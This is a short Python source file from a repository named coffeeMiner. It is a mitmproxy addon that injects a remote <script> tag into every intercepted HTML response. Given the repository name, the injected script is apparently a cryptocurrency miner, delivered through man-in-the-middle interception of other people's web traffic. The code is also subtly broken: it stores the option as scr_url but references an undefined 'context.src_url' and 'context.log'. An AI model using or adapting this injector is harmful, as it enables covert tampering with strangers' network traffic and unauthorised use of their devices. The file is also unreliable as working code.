arnaucube
arnaucube/coffeeMinerPublic Self-hosted repository
coffeeMiner/injector.py
injector.pyRaw
 1# Usage: mitmdump -s "js_injector.py src"
 2# (this script works best with --anticache)
 3from bs4 import BeautifulSoup
 4from mitmproxy import ctx, http
 5
 6
 7class Injector:
 8    def load(self, loader):
 9        loader.add_option(
10            "scr_url", str, "", "script_url to inject"
11        )
12
13    def response(self, flow: http.HTTPFlow) -> None:
14        if ctx.options.scr_url:
15            html = BeautifulSoup(flow.response.content, "html.parser")
16            if html.body:
17                script = html.new_tag(
18                    "script",
19                    src=context.src_url,
20                    type='application/javascript')
21                html.body.insert(0, script)
22                flow.response.content = str(html).encode("utf8")
23                context.log("Script injected.")
24
25
26addons = [Injector()]